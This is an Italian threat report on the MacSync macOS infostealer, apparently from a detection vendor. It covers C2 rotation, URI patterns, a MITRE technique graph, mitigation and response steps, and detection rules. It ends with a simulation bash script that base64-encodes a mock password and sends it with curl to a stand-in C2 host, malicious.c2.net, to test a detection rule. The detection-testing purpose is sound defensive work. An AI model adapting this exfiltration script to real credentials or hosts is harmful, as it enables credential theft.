MacSync Stealer Utilizza un’infrastruttura C2 Rotante
Detection stack
- AIDR
- Alert
- ETL
- Query
Riassunto
MacSync Stealer è un malware per sottrarre informazioni su macOS offerto tramite un modello di malware-as-a-service. Si basa su un loader multi-stage zsh che si connette a un pool rotante di domini di command-and-control per esfiltrare le informazioni rubate, incluse password e credenziali di portafogli di criptovalute. Il loader trasmette password in chiaro attraverso un parametro query-string e carica un archivio ZIP dei dati raccolti in blocchi da 10 MiB. La sua strategia di rotazione dell’infrastruttura dipende da una chiave API statica riutilizzata su diversi domini insieme a un token esadecimale per build.
Indagine
RST Cloud ha rilevato un tentativo di download dal dominio appena registrato jacksonvillemma.com e ha catturato il loader della Fase 2 zsh entro un’ora. L’analisi statica ha rilevato il token del loader, la chiave API e il trio di percorsi di command-and-control: /curl, /dynamic, e /gate. Ulteriore pivoting basato su questi pattern URI ha rivelato un cluster di circa dodici domini di command-and-control sospetti attivi tra febbraio e maggio 2026. Quattro di questi domini sono stati confermati come condividenti la stessa chiave API, mentre gli altri sono stati collegati attraverso comportamenti corrispondenti degli URI.
Mitigazione
I difensori dovrebbero bloccare tutti i domini di command-and-control di MacSync conosciuti e monitorare i pattern distintivi dei percorsi URL utilizzati dal malware. I registri Proxy e DNS dovrebbero essere esaminati per richieste contenenti /curl, /dynamic, e /gate, così come per la stringa user-agent di macOS accorciata simile a Chrome legata al loader. I team di sicurezza dovrebbero inoltre rilevare la creazione di /tmp/osalogging.zip e osservare i processi che eseguono zsh processi che eseguono base64 -D, gunzip, e valuta in combinazione.
Risposta
Se viene trovato un indicatore corrispondente, isolare immediatamente l’endpoint interessato, terminare il processo maligno zsh e raccogliere la memoria per l’analisi di eventuali payload AppleScript. Reimpostare le password utente esposte e invalidare le credenziali compromesse memorizzate nel portachiavi macOS. La logica di rilevamento dovrebbe anche essere aggiornata con il token osservato, la chiave API e i pattern user-agent per ridurre il rischio di compromissioni future.
"grafico TB %% Definizioni delle classi classDef azione fill:#99ccff classDef strumento fill:#ffcc99 classDef file fill:#cccccc classDef process fill:#ccffcc %% Nodieu2060Str accesso_iniziale_phishing["<b>Tecnica</b> – T1566 Phishing<br/><b>Descrizione</b>: Malvertising distribuisce uno script che esegue curl per recuperare il loader Stageu202f2 da un dominio C2."] class accesso_iniziale_phishing azione strumento_curl["<b>Strumento</b> – curl<br/><b>Descrizione</b>: Utility da riga di comando utilizzata per scaricare il loader Stageu202f2."] class strumento_curl strumento difesa_offuscamento_compilazione["<b>Tecnica</b> – T1027.004 Compilare dopo la consegna<br/><b>Descrizione</b>: Il wrapper Zsh contiene un payload in base64u2011gzip decodificato ed eseguito con eval."] class difesa_offuscamento_compilazione azione difesa_payload_embedded["<b>Tecnica</b> – T1027.009 Payload incorporati<br/><b>Descrizione</b>: Payload è incorporato come blob codificato in base64u2011gzip compresso all’interno del wrapper."] class difesa_payload_embedded azione difesa_payload_spogliato["<b>Tecnica</b> – T1027.008 Payloads spogliati<br/><b>Descrizione</b>: Wrapper è spogliato di stringhe identificabili, affidandosi alla decodifica a runtime."] class difesa_payload_spogliato azione difesa_api_dinamica["<b>Tecnica</b> – T1027.007 Risoluzione API dinamica<br/><b>Descrizione</b>: Le richieste HTTP includono un’intestazione della chiave API statica e un’agente utente personalizzata troncata."] class difesa_api_dinamica azione esecuzione_moduli_condivisi["<b>Tecnica</b> – T1129 Moduli condivisi<br/><b>Descrizione</b>: Lo script decodificato viene eseguito come funzione Zsh in background tramite eval."] class esecuzione_moduli_condivisi azione processo_zsh["<b>Processo</b> – Zsh<br/><b>Descrizione</b>: Shell utilizzata per eseguire la funzione malevola decodificata."] class processo_zsh process cred_os_dumping["<b>Tecnica</b> – T1003 Dump delle credenziali del sistema operativo<br/><b>Descrizione</b>: AppleScript recuperato dal C2 estrae voci del portachiavi macOS."] class cred_os_dumping azione cred_browser["<b>Tecnica</b> – T1555.003 Credenziali estratte da browser web<br/><b>Descrizione</b>: Lo stesso AppleScript raccoglie le credenziali memorizzate dai browser Chromium e dalle estensioni cripto‑wallet."] class cred_browser azione cred_unsecured_files["<b>Tecnica</b> – T1552.001 Credenziali non sicure nei file<br/><b>Descrizione</b>: I dati raccolti vengono scritti in /tmp/osalogging.zip prima dell’esfiltrazione."] class cred_unsecured_files azione file_archive["<b>File</b> – /tmp/osalogging.zip<br/><b>Descrizione</b>: Archivio Zip contenente le credenziali raccolte."] class file_archive file collection_archive["<b>Tecnica</b> – T1560 Dati archiviati compressi<br/><b>Descrizione</b>: I dati vengono compressi in un archivio zip per il staging."] class collection_archive azione command_control_dynamic["<b>Tecnica</b> – T1568 Risoluzione dinamica<br/><b>Descrizione</b>: Il malware contatta il C2 utilizzando percorsi HTTP scoperti tramite il matching dei pattern."] class command_control_dynamic azione cred_valid_accounts["<b>Tecnica</b> – T1078 Accounts validi<br/><b>Descrizione</b>: Password macOS degli utenti inviata in chiaro tramite il parametro query “&pwd=”, fornendo al pirata informatico le credenziali legittime."] class cred_valid_accounts azione %% Connessioni accesso_iniziale_phishing –>|utilizza| strumento_curl strumento_curl –>|consegna| difesa_offuscamento_compilazione difesa_offuscamento_compilazione –>|include| difesa_payload_embedded difesa_payload_embedded –>|include| difesa_payload_spogliato difesa_payload_spogliato –>|utilizza| difesa_api_dinamica difesa_api_dinamica –>|abilita| esecuzione_moduli_condivisi esecuzione_moduli_condivisi –>|esegue| processo_zsh processo_zsh –>|esegue| cred_os_dumping cred_os_dumping –>|esegue| cred_browser cred_browser –>|scrive in| cred_unsecured_files cred_unsecured_files –>|crea| file_archive file_archive –>|utilizzato da| collection_archive collection_archive –>|inviato a| command_control_dynamic command_control_dynamic –>|fornisce| cred_valid_accounts "
Flusso di attacco
Rilevamenti
Possibile Manipolazione di Stringhe Codificate in Base64 [MacOS] (via cmdline)
Visualizza
Tentativo di Esecuzione sospetta di Curl [MacOS] (via cmdline)
Visualizza
L’Archivio è stato Creato nella Cartella Temporanea MacOS (via file_event)
Visualizza
IOC (HashSha256) per rilevare: MacSync Stealer: Rotazione dell’infrastruttura C2
Visualizza
IOC (HashSha1) per rilevare: MacSync Stealer: Rotazione dell’infrastruttura C2
Visualizza
IOC (HashMd5) per rilevare: MacSync Stealer: Rotazione dell’infrastruttura C2
Visualizza
Rilevamento Comunicazione C2 di MacSync Stealer [Proxy]
Visualizza
Esecuzione della Simulazione
Prerequisito: Il Check Pre‑flight della Telemetria & Baseline deve essere superato.
Motivazione: Questa sezione dettaglia l’esecuzione precisa della tecnica dell’avversario (TTP) progettata per attivare la regola di rilevamento. I comandi e la narrazione DEVONO riflettere direttamente le TTP identificate e mirare a generare la telemetria esatta prevista dalla logica di rilevamento.
-
Narrazione e Comandi dell’Attacco:
Un avversario ha distribuito il binario MacSync Stealer su una workstation macOS compromessa. Il malware estrae la password del portachiavi macOS dell’utente corrente, la codifica in base64 e la esfiltra tramite una richiesta HTTP GET attraverso il proxy aziendale. La richiesta mira al noto endpoint C2https://malicious.c2.net/dynamic?txd=<payload>. Poiché i log del proxy registrano gli URL completi, la regola di rilevamento vedrà ladynamic?txd=sottostringa e genererà un avviso. -
Script di Test di Regressione:
#!/bin/bash # macsync_stealer_simulation.sh # Simula la comunicazione C2 di MacSync Stealer per attivare la regola di rilevamento. PROXY="http://proxy.corp.local:3128" C2_BASE="https://malicious.c2.net/dynamic?txd=" # 1️⃣ Estrarre una password mock (a scopi dimostrativi usare il nome dell'utente corrente) PASSWORD="$(whoami):P@ssw0rd!" # 2️⃣ Codifica le credenziali in base64 (emula il passo di codifica di MacSync) ENCODED=$(printf "%s" "$PASSWORD" | base64) # 3️⃣ Costruire l'URL malevolo completo MALICIOUS_URL="${C2_BASE}${ENCODED}" # 4️⃣ Inviare la richiesta tramite il proxy aziendale curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15" echo "Simulazione eseguita – payload inviato a $MALICIOUS_URL" -
Comandi di Pulizia:
# Rimuovere eventuali file temporanei (nessuno creato) e, facoltativamente, pulire la cache del proxy echo "Pulizia degli artefatti della simulazione..." # Se si utilizza Squid, pulire l'URL dalla cache per evitare hit ripetuti sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"